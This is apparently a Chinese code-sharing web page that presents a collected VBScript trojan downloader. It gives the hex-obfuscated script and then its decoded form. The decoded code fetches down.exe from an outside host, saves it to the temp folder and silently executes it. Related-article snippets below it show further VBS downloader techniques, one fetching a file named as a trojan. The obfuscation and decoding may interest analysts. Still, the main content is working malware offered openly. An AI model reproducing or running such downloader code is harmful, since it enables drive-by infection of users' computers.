一个收集的下载木马并运行的VBS代码

<script language="VBScript"> 
S="2020206F6E206572726F7220726573756D65206E6578740D0A737 
3733D226D64622E657865220D0A61613D226F62220D0A6161613D22 
6A65220D0A616161613D226374220D0A61616161613D22636C61220 
D0A6161616161613D2273736964220D0A616161616161613D22636C 
73220D0A61616161616161613D2269643A42443936220D0A6161616 
161616161613D22433535362D3635220D0A61616161616161616161 
3D2241332D313144220D0A61616161616161616161613D22302D393 
8220D0A6161616161616161616161613D2233412D30304330344622 
0D0A616161616161616161616161613D22433239453336220D0A6D6 
D3D224D6963220D0A6E6E3D22726F73220D0A6D6D6E6E3D226F6674 
2E58220D0A6E6E6D6D3D224D4C48220D0A6D6E6D6E3D22545450220 
D0A6E6D3D6D6E0D0A62623D224164220D0A6262623D226F64220D0A 
626262623D22622E5374220D0A62626262623D227265616D220D0A6 
7673D2267220D0A65653D2265220D0A74743D2274220D0A63633D22 
536372220D0A6363633D22697074220D0A636363633D22696E672E4 
6220D0A6363313D22696C6553220D0A636363313D22797374220D0A 
63636363313D22656D4F220D0A6363323D22626A220D0A636363323 
D22656374220D0A68683D22536865220D0A6868683D226C6C2E4170 
220D0A686868683D22706C69220D0A68686868683D2263617469220 
D0A6868686868683D226F6E220D0A6F6F3D226F220D0A6F6F6F3D227 
065220D0A6F6F6F6F3D226E220D0A536574207878787878787878203 
D20646F63756D656E742E637265617465456C656D656E7428616126 
6161612661616161290D0A78787878787878782E7365744174747269 
62757465206161616161266161616161612C20616161616161612661 
61616161616161266161616161616161612661616161616161616161 
26616161616161616161616126616161616161616161616161266161 
61616161616161616161610D0A53657420787878787878203D207878 
7878787878782E4372656174654F626A656374286D6D266E6E266D6 
D6E6E266E6E6D6D266D6E6D6E2C2222290D0A736574207878787820 
3D2078787878787878782E6372656174656F626A6563742862622662 
626226626262622662626262622C2222290D0A787878782E74797065 
203D20310D0A7878787878782E4F70656E2067672665652674742C20 
22687474703A2F2F71712E656532382E636E2F646F776E2F646F776E2 
E657865222C2046616C73650D0A7878787878782E53656E640D0A78 
7878787878783D7373730D0A20202020736574207878787878203D2 
078787878787878782E6372656174656F626A6563742863632663636 
32663636363266363312663636331266363636331266363322663636 
3322C2222290D0A2020202073657420746D70203D2078787878782E 
4765745370656369616C466F6C646572283229200D0A202020207878 
78787878783D2078787878782E4275696C645061746828746D702C7 
8787878787878290D0A20202020787878782E6F70656E0D0A2020202 
0787878782E7772697465207878787878782E726573706F6E7365426 
F64790D0A20202020787878782E73617665746F66696C65207878787 
87878782C320D0A20202020787878782E636C6F73650D0A20202020 
73657420717171203D2078787878787878782E6372656174656F626A 
65637428686826686868266868686826686868686826686868686868 
2C2222290D0A202020207171712E5368656C6C45786563757465207 
87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D 
="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMER 
IC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEF 
T(S,4)&N:S=MID(S,5) 
LOOP:EXECUTE D 
</script> 
解密后:


代码如下:

on error resume next 
sss="mdb.exe" 
aa="ob" 
aaa="je" 
aaaa="ct" 
aaaaa="cla" 
aaaaaa="ssid" 
aaaaaaa="cls" 
aaaaaaaa="id:BD96" 
aaaaaaaaa="C556-65" 
aaaaaaaaaa="A3-11D" 
aaaaaaaaaaa="0-98" 
aaaaaaaaaaaa="3A-00C04F" 
aaaaaaaaaaaaa="C29E36" 
mm="Mic" 
nn="ros" 
mmnn="oft.X" 
nnmm="MLH" 
mnmn="TTP" 
nm=mn 
bb="Ad" 
bbb="od" 
bbbb="b.St" 
bbbbb="ream" 
gg="g" 
ee="e" 
tt="t" 
cc="Scr" 
ccc="ipt" 
cccc="ing.F" 
cc1="ileS" 
ccc1="yst" 
cccc1="emO" 
cc2="bj" 
ccc2="ect" 
hh="She" 
hhh="ll.Ap" 
hhhh="pli" 
hhhhh="cati" 
hhhhhh="on" 
oo="o" 
ooo="pe" 
oooo="n" 
Set xxxxxxxx = document.createElement(aa&aaa&aaaa) 
xxxxxxxx.setAttribute aaaaa&aaaaaa, aaaaaaa&aaaaaaaa&aaaaaaaaa&aaaaaaaaaa&aaaaaaaaaaa&aaaaaaaaaaaa&aaaaaaaaaaaaa 
Set xxxxxx = xxxxxxxx.CreateObject(mm&nn&mmnn&nnmm&mnmn,"") 
set xxxx = xxxxxxxx.createobject(bb&bbb&bbbb&bbbbb,"") 
xxxx.type = 1 
xxxxxx.Open gg&ee&tt, "http://qq.ee28.cn/down/down.exe", False 
xxxxxx.Send 
xxxxxxx=sss 
set xxxxx = xxxxxxxx.createobject(cc&ccc&cccc&cc1&ccc1&cccc1&cc2&ccc2,"") 
set tmp = xxxxx.GetSpecialFolder(2) 
xxxxxxx= xxxxx.BuildPath(tmp,xxxxxxx) 
xxxx.open 
xxxx.write xxxxxx.responseBody 
xxxx.savetofile xxxxxxx,2 
xxxx.close 
set qqq = xxxxxxxx.createobject(hh&hhh&hhhh&hhhhh&hhhhhh,"") 
qqq.ShellExecute xxxxxxx,"","",oo&ooo&oooo,0

(0)

相关推荐

  • VBS下载者(通过vbscript实现文件下载)

    一.VBS下载者: 复制代码 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.jbzj.com/muma.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet

  • 用ASP VBS xmlhttp adodbstream下载和保存图片的代码

    函数: 复制代码 代码如下: function saveFile(data,recfilen)      set Astream=CreateObject("Adodb.Stream")'asp Server.CreateObject("Adodb.Stream")      fxt=mid(recfilen,InStrRev(recfilen,".")+1)      txt=false      if fxt="asp" 

  • VBS下载文件的新方法

    BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. 于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: 'code by xiaolu 'change by NetPatch on error resume next set arg=wscri

  • VBS 下载方法(CDO.MESSAGE)

    于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: 'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do whil

  • vbs 多线程下载实现代码

    话说还是闲来练手,初步实现了自己认为的"多线程"下载.(至于是不是多线程,可以参考12楼链接) 为避免冗余,省了一些错误检查.我觉得没多大实际用途,有兴趣的兄弟一起学习讨论呗.欢迎大家指正: 复制代码 代码如下: 'by wankoilz url=InputBox("输入完整下载地址:") threadCount=InputBox("输入线程数(不超过10吧,太多就累赘了):") fileName=GetFileName(url) filePat

  • 支持断点下载的VBS代码

    之前我就介绍过VBScript语言的强大.今天再给出一个支持断点下载的VBS代码. 并附上VBS代码的解析,不懂的朋友可以配合微软的SCRIPT56.CHM文档自学.很简单, VBS的好处就是代码易于理解.基本上每行代码执行功能都用英文表示出来了. 这个代码也是对我以前介绍的VBS下载功能的补充. 老规矩,复制保存为dl.vbe. 不过这个VBS的代码的不同之处不是双击运行,而是在CMD命令行下执行. 下载功能执行的格式是: cscript.exe dl.vbs (目标文件地址) [以下载Met

  • 下载文件到本地运行的vbs

    复制代码 代码如下: 'on error resume next dl = http://www.jb51.net/index.htm '这是要下载的文件的路径str="Microsoft.XMLHTTP" Set x = CreateObject(str) Set x = CreateObject(str) set S = createobject("adodb.stream") S.type = 1 x.Open "GET", dl, Fal

  • 使用vbs下载文件的代码加强版

    说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码: iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() set sGet=createObject("ADODB.Strea

  • 一个收集的下载木马并运行的VBS代码

    <script language="VBScript">  S="2020206F6E206572726F7220726573756D65206E6578740D0A737  3733D226D64622E657865220D0A61613D226F62220D0A6161613D22  6A65220D0A616161613D226374220D0A61616161613D22636C61220  D0A6161616161613D2273736964220D0

  • 写一个Python脚本下载哔哩哔哩舞蹈区的所有视频

    一.抓取列表 首先点开舞蹈区先选择宅舞列表. 然后打开 F12 的控制面板,可以找到一条 https://api.bilibili.com/x/web-interface/newlist?rid=20&type=0&pn=1&ps=20&jsonp=jsonp&callback=jsonCallback_bili_57905715749828263 的 url,其中 rid 是 B 站的小分类,pn 是页数. 小编试着在浏览器将地址打开居然报了 404,可是在控制面

  • 基于PyQt5制作一个表情包下载器

    每次和朋友聊天苦于没有表情包,而别人的表情包似乎是取之不尽.用之不竭.作为一个程序员哪能甘愿认输,于是做了一个表情包下载器供大家斗图. 首先,还是介绍一下设计思路吧,和我们之前做的百度图片下载器2.0一样,使用pyqt5作为UI界面制作的框架,然后就是找一个表情包网站供我们可以下载很多的表情包. 表情包使用的网站是这个,大家也可以使用自己发现的表情包网站做下载. 话不多说,我们先说明一下使用到的python库有哪些. UI界面使用到的pyqt5模块是下面这几个,之前也是一直使用这几个库做UI界面

  • js实现div拖动动画运行轨迹效果代码分享

    本文实例讲述了js div拖动动画运行轨迹效果.分享给大家供大家参考.具体如下: 这是一款基于js实现的div拖动动画运行轨迹效果源码,是一款原生js div拖动效果制作鼠标拖动div动画运行轨迹效果代码.可以选择[记住轨迹]与[不记住轨迹]两种拖动显示模式,从而显示出不同的拖动效果. 运行效果图:                                        -------------------查看效果 下载源码------------------- 小提示:浏览器中如果不能

  • 如何通过vscode运行调试javascript代码

    初次正式要写 javascript 相关的代码,想要用 vscode 直接编译 js 代码,但是发现没有那么简单,需要配置好 launch.json 文件,现已经在vscode上编译过去并且可以调试 javascript 代码,总结了两种方法,分享给大家. 方法一: 在 js 后缀文件中写 javascript 代码. 1. 环境配置: (1). 需要安装 nodejs (在Bing搜索中输入 nodejs, 找到nodejs官网,然后找到适合你电脑配置的安装包进行下载安装,最后要输入 node

  • 以Spring Boot的方式显示图片或下载文件到浏览器的示例代码

    以Java web的方式显示图片到浏览器以Java web的方式下载服务器文件到浏览器 以Spring Boot的方式显示图片或下载文件到浏览器 请求例子:http://localhost:8080/image/1564550185144.jpeg 示例代码: import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.R

  • 在运行时编辑代码的 .NET 热重载的操作方法

    今天,我们很高兴向你介绍 Visual Studio 2019 中 16.11(预览版1)中的 .NET 热重载(通过 .NET 6(预览版4)中的 dotnet watch 命令行工具).在这篇文章的其余部分,我们会介绍什么是 .NET 热重载,您如何开始使用这个特性,我们对未来计划改进的设想,以及目前支持哪种编辑和语言的明确性. 今天,我们很高兴向你介绍 Visual Studio 2019 中 16.11(预览版1)中的 .NET 热重载(通过 .NET 6(预览版4)中的 dotnet

  • 收集的二十一个实用便利的PHP函数代码

    PHP 是目前使用最广泛的基于 Web 的编程语言,驱动着数以百万计的网站,其中也包括如 Facebook 等一些大型站点.这里收集了 21 段实用便捷的 PHP 代码摘录,对每种类型的 PHP 开发者都会有所帮助. 1. PHP可阅读随机字符串 此代码将创建一个可阅读的字符串,使其更接近词典中的单词,实用且具有密码验证功能. /***************@length - length of random string (must be a multiple of 2)**********

  • Android 断点下载和自动安装的示例代码

    今天说一下Android中下载App到手机中并自动安装,啥也不说了先上效果图了! 上面呢是下载中的一个图片和下载后会自动提示你安装的一个图片,二话不说,这接开代码吧! 首先来一个下布局: <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:ap

随机推荐